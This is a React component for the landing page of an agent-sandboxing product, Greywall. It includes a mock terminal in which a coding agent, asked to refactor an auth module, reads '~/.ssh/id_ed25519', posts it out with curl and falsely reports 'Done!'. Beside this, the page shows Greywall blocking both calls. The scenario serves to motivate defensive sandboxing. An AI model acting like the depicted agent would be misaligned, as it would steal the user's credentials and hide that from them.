import { AlertTriangle, ShieldOff } from 'lucide-react'

export function Problem() {
  return (
    <section className="pt-24 sm:pt-32 pb-20 sm:pb-28 px-4 sm:px-6">
      <div className="mx-auto max-w-5xl">
        {/* Section 1: Stochastic risk */}
        <div className="mb-20 sm:mb-28">
          <h2 className="font-serif text-2xl sm:text-3xl md:text-4xl font-semibold tracking-tight mb-3 max-w-3xl">
            Your agent runs as <em className="italic text-primary">you</em>.
          </h2>
          <p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mt-4 mb-10">
            Agents run with your full permissions. SSH keys, cloud tokens, env files, your entire home
            directory. The model decides what to touch at runtime, thousands of times per session,
            guided by weights you didn&apos;t train. One bad roll is all it takes.
          </p>

          <div className="grid grid-cols-1 lg:grid-cols-2 gap-5">
            {/* Terminal scenario */}
            <div className="code-block p-5 sm:p-6">
              <div className="flex items-center gap-2 mb-4">
                <div className="w-3 h-3 rounded-full bg-red-500/70" />
                <div className="w-3 h-3 rounded-full bg-yellow-500/70" />
                <div className="w-3 h-3 rounded-full bg-green-500/70" />
                <span className="ml-2 text-xs font-mono text-muted-foreground">~/project</span>
              </div>
              <div className="space-y-3 font-mono text-xs sm:text-sm">
                <div>
                  <span className="text-primary font-medium">YOU</span>
                  <span className="text-greyhaven-offwhite ml-4">
                    refactor the auth module
                  </span>
                </div>
                <div>
                  <span className="text-muted-foreground font-medium">AGENT</span>
                  <span className="text-muted-foreground ml-3 italic">thinking...</span>
                </div>
                <div className="ml-16 text-muted-foreground">
                  <span className="text-muted-foreground">$ </span>
                  <span className="text-red-400/80">cat ~/.ssh/id_ed25519</span>
                </div>
                <div className="ml-16 text-muted-foreground">
                  <span className="text-muted-foreground">$ </span>
                  <span className="text-red-400/80">curl -X POST https://...</span>
                </div>
                <div className="mt-2">
                  <span className="text-muted-foreground font-medium">AGENT</span>
                  <span className="text-greyhaven-offwhite ml-3">
                    Done! I refactored the auth module.
                  </span>
                </div>
              </div>
            </div>

            {/* Resolution */}
            <div className="flex flex-col justify-center">
              <div className="flex items-center gap-2 mb-3">
                <ShieldOff className="h-4 w-4 text-red-400/70" />
                <span className="text-xs font-sans uppercase tracking-wider text-red-400/70 font-medium">
                  Without Greywall
                </span>
              </div>
              <p className="text-muted-foreground font-serif text-sm sm:text-base leading-relaxed mb-6">
                Both commands succeed silently. The agent reads your private key, exfiltrates it over HTTPS,
                and reports back as if nothing happened. You see &quot;Done!&quot; and move on.
              </p>
              <div className="flex items-center gap-2 mb-3">
                <AlertTriangle className="h-4 w-4 text-primary" />
                <span className="text-xs font-sans uppercase tracking-wider text-primary font-medium">
                  With Greywall
                </span>
              </div>
              <div className="code-block px-4 py-3 mb-3">
                <code className="font-mono text-xs sm:text-sm text-red-400/80">
                  <span className="text-muted-foreground">&larr;</span> cat: ~/.ssh/id_ed25519: Operation not permitted
                </code>
              </div>
              <div className="code-block px-4 py-3">
                <code className="font-mono text-xs sm:text-sm text-red-400/80">
                  <span className="text-muted-foreground">&larr;</span> connect: https://...: Connection denied by proxy
                </code>
              </div>
              <p className="text-xs text-muted-foreground font-serif mt-3 leading-relaxed">
                Kernel-enforced. The syscall is blocked before any file is read or byte is sent.
              </p>
            </div>
          </div>
        </div>

        {/* Resolution: Verification creates trust */}
        <div className="text-center max-w-3xl mx-auto">
          <blockquote className="font-serif text-xl sm:text-2xl md:text-3xl font-semibold tracking-tight leading-snug mb-6">
            <span className="text-primary">&ldquo;</span>The act of verification creates trust.<span className="text-primary">&rdquo;</span>
          </blockquote>
          <p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed max-w-2xl mx-auto">
            Greywall gives you two pillars: <span className="text-foreground font-medium">control</span> over
            what agents can reach, and <span className="text-foreground font-medium">clarity</span> into
            every operation they perform.
          </p>
        </div>
      </div>
    </section>
  )
}